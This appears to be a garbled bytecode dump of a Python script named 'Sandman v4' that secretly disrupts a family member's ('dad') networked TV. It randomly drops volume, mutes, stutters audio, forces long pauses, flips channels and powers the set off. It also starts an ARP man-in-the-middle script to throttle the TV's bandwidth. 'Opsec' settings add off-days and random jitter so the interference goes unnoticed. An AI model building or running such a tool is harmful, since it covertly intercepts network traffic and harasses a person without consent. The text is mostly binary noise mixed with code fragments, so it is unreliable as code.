d0dtj|t7j@dddd|dgdtj d|dy|dk(r&t#|dtj d|dyy#t<$rYwxYw#t<$r%}tj?d|d|Yd}~d}~wwxYw#t7j@dddd|dgdtj d|dwxYw)z Execute a single sandman action.paramsrrz] [DRY] N volume_nudgerdropr8u ] 📉 Vol r#) volume_dropvolume_drop_bigdrop_minrLdrop_maxr^rz (-r full_muteTu ] 🔇 FULL MUTE (stays muted)audio_stutter_long repeats_minr1 repeats_maxrr.r'Frru] 💥 Long stutter (u × over ~roverlay_controls) CursorDownr CursorRightCursorUp CursorLeftru] 📺 Overlay controls ( pause_long pause_min_srk pause_max_sr`ru] ⏸️ LONG PAUSE (rus — dad must act) back_spam presses_min presses_maxr+u] ⬅️ Back spam × audio_blipduration_min_msrUduration_max_msiru] 💥 Audio blip (r5 audio_stutterr"ru] 💥 Audio stutter audio_faderru] 💥 Audio fade ( pause_playr!rr6r3r7ambilight_flickeroff_duration_su] 💡 Ambilight flicker channel_nudger delay_min_s delay_max_sru] 📺 Channel flip (backu] ⬅️ Backrru ] 🏠 Homenavigate_random)rrrr)rrrrConfirmr')r+rrr')Optionsr')Sourcer')rr')rr')VolumeUpr.)Muter')rr)rr)Stopr) FastForwardr)Rewindr)AmbilightOnOffr'Findr')Digit0rDigit1r)Digit5r)Digit9r)rr.rr)rr.rr))rr.)rr.r)rrrr)rrr)rrrr)r+r.rr)rr)Digit2r)Digit3ru] 🎲 Random nav: rmr bandwidth_min_kbpsbandwidth_max_kbpsduration_s_minrduration_s_maxr%rjr-z/share/arp_mitm_state.jsonpython3z/share/arp_mitm.py)start_new_sessionrrou/] 🌐 MITM not running — skipping throttler?rFrrrrr=rrrrrr)r6checkrrrrrrrrrrrr]rrrrrrru] 🌐 Throttle z kbps for rrlu] 🌐 Throttle error: u] 🌐 Throttle ended power_offStandbyu] ⚡ POWER OFF)!rrrrr rrrrr,r-rr?rBrCrrrrrr>rrlrdrrexistsr@PopenDEVNULLrDrErA)rrrr'rrr_volrTrrepeatsr/ key_choicepause_spressesrrmoves desc_partsrbw_minbw_maxdur_mindur_maxseverity_factorrduration mitm_runningrrGs r#execute_actionrs ^^Hb )F((4A 3qc+/0n$ ?!S6::fa#889G ug & HHs1#]3%s7)< =  : : ?>>&**Z";VZZ TU=VWD!S4Z(G ug & HHs1#]3%s7)3tfAF G   # 3qc9:; , ,..M1!=vzz-YZ?[\wA UD ! JJv~~c3/ 0 UE " JJv~~c3/ 0  3qc0 7)2NO * *]]#Z[ uj! 3ufmm\=$ABC 3qc4ZLBC  $..M2!> =Z\@]^ug 3qc1'#>QRS  #..M1!=vzz-YZ?[\wA 5& ! JJsO  3qc1';<  $nnVZZ(93?L]_bAcdUC* 3qc.se378  'UC+ 3qc/01  $nnVZZ(93?L]_cAdeUC( 3qc.se378  $..M1!=vzz-YZ?[\ug 7uf 3qc+GC=:; + + +;Q ?@ 3qc345  'uo&vzz-;VZZ WY=Z[ 5u'( 3qc0s 2>?  uf 3qc)*+  uf 3qc'( ) ) #  # ! !# ! ! # " " #   # O# O#  #  # $ $# & &#  # O# O#  !# "O## $" "%# & '# (% %)# *O+# , -# . /# 0 1# 2 3# 6 I7# 8 K9# : G;# < e=# > L?# @ YA# B :C# D OE# # H $OHe 5( # JJu    h ' % 3qc.w||J/G.HIJ  "0#60$7**-s3**-t4c>C#78 c&FVO#FFG Hg/?BBww~~&BC    )-A!B37(2(:(::CUCUW 1 !ww~~.JK  KK#aS OP QE ;gueUFK\`agueUFHVZ\aclnrs.2$@gueUHdT]_eglntwA B.2$@gueUHdT]_egl &2$d Vt4[ J.2$@hueXtU_aegmor %wewc]HV\ ^.2$@3qc!3B4y"S@QQTUV 8$gueUFK\`a3qc!89:  #ui  3qc*+, $9  , C c!$=aSABB CgueUFK\`a3qc!89:s>A+f1C5g1 f>=f> g/ g*%g2*g//g228h*c|jdi}|jdd}|dk(rytjjjd}t j |dz}tjjj }|dd|d}t j |d z}|jtd |}tjjj} | |vS) zWDetermine if today is a random off-day. Seeded by date so it's consistent within a day.opsecrandom_off_days_per_weekrF%Y-%m-%doffdayrRr8scheduler!) rrrrr,Random isocalendarsampler?weekday) rroff_daystodayrng week_start week_seedweek_rngoff_day_numbers today_dows r# _is_off_dayr s JJw #Eyy3Q7H1}    ! ! # , ,Z 8E --( )C""&&(446Ja=/JqM?3I}}Y34HooeAh9O!!%%'//1I  ''r%c $|jdi}|jdds tStjjj d}t j |dz}t|dj}|jt|dzt|dzdz}t|j|t|t|d z }|jd |jd |S) z9Each day, randomly disable some action types for variety.rdaily_personalityFr personalityrUr1rLrrr)rr0rrrr,rrnkeysr-lenrrldiscard)rrrr all_actions num_disableddisableds r#_daily_action_filterrs JJw #E 99(% 0u    ! ! # , ,Z 8E -- - .Cvi(--/0K;;s;/14c+6F6Ja6OPL3::k3|S=MPQ=Q+RSTH ^$ \" Or% tv_ip_arg config_pathc  t|}|}|jdi}t|rtj dt j j }|t jdzjddd}tj||z jt|||St|}tj|jdd |jdd} t!d|d| z} |d k(s|Otj d t#}|rtj d |ntj%d tj dtj d|xsdtj d| d|ddtj d|dd|dtj d|ddd|dddtj dt'|dd t'|d!|r'tj d"d#j)|tj d$|jd%dd&|jd'd} tj d(| dk(rd)n| tj d*|dAd+} t+j*t*j,| t+j*t*j.| t+j*t*j0t*j2d } | t5|]t#d,-}|rO||k7rJ|}t j j j7d.}tj d/|d0||d n t5|}t j j j7d.}|/| tj9d1d } tjd2| 7t j j } tj d/|d3t j j | z jd4z }t;||}t=||}|| kr:| |z }tj9d5|d6d7|d8d9tjd2tj|jd%dkr#t?||}tj|tAtd:s dt_!|jd'd}|dkDrFtjB|k\r3tj d/|d;|d<tjd=\tE|||\}}|r'||vr#t?||}tj||rJtj d/|d>|d8d?|d@|tG|||||txjBdz c_!t?||}tj|)BzNConfig-driven sandman engine. Runs continuously, adapts to watch time + clock.ru;🌙 Sandman: Today is an off-day. Sleeping until tomorrow.r8)daysr)rorpsecondstart_jitter_minutesrirNrru' TV not found — will retry each cycleu(🌙 Sandman v4 — config-driven enginez Target: rz Grace period: z min (base u ± jitter)z Bad hours: rkrmrlz Interval: rLrus – rr7z Actions: rUz configured, z disabled todayz Disabled today: z, z Skip probability: skip_probabilityz.0%max_actions_per_sessionz Max actions tonight: unlimitedrcXtjdtjdy)NzSandman shutting down.r)r rrr)rrs r#rzrun_v4..cleanups )*  r%r1rrru ] 📺 TV at u TV off — resetting watch timerru] TV on — watch timer startedgN@uGrace period — rz min remaining (severity: z.2fr _action_countz] Max actions (z) reached tonight. Going quiet.rz] sev=z max_sev=r4r)$rerr r rrr timedeltarMrBrC total_secondsrun_v4rr,r-rrrErrr:r;r<SIGHUPSIG_IGNrrrpr~rrhasattrr!rr)rrr'rrrrtomorrowdisabled_todayreffective_gracemax_actr watch_startrJrIrrfrrremaining_gracerL max_actionsrrs r#r$r$s  %F E JJw #E6 NP##%(,,!44==1QWX=Y HsN1134ig66*&1N^^UYY'=qAA599McefCg hF!V$:;fDEO %- 9:   HH*5'2 3 KKA BHH79HH{53O4 56HH  1VDZ=[<\\g hiHH~f%678fEU>V=W XYHH}VJ/ >?vfZFXYfFgEhhi jkHH|Cy 123=^AT@UUd ef &tyy'@&ABCHH$UYY/A1%Ec$J KLii115GHH'w!| 'Q RSHH|G9 %& MM&--) MM&..'* MM&--0K  =Ju-5 +F&E/"++//1:::F3wi}UG<=mdE):##'')22:> ;& <>K JJrN   "++//1K HHs7)#BC D!**..0;>MMORVV ,]FC">6: ? *- =O II)/#)>>XYghkXllmn o JJrN  ==?UYY'91= =$^VD$,,' TWW$++t||Lr%__main__)N)r5Fr4)g@)r)r"r)g@)FTF)Fr')rNF)Kr9r3rrr logging.handlersrr,rr:r@rrrBurllib.requestrVxml.etree.ElementTreeetree ElementTreeET getLoggerr r:r$r;rHrJrrrrrrrrrrrdrrrrrdictrrrrr>rrrrrrrrrrrr rbrer~rr>rrrr r0rr$r9r6r<r%r#rCs)&    ""g ":3::S4C$J>  3  77t7x  5+     3  c s WZ]aWa ,c,3,C,C$J,,s,C,S,S4Z,*c*cDj*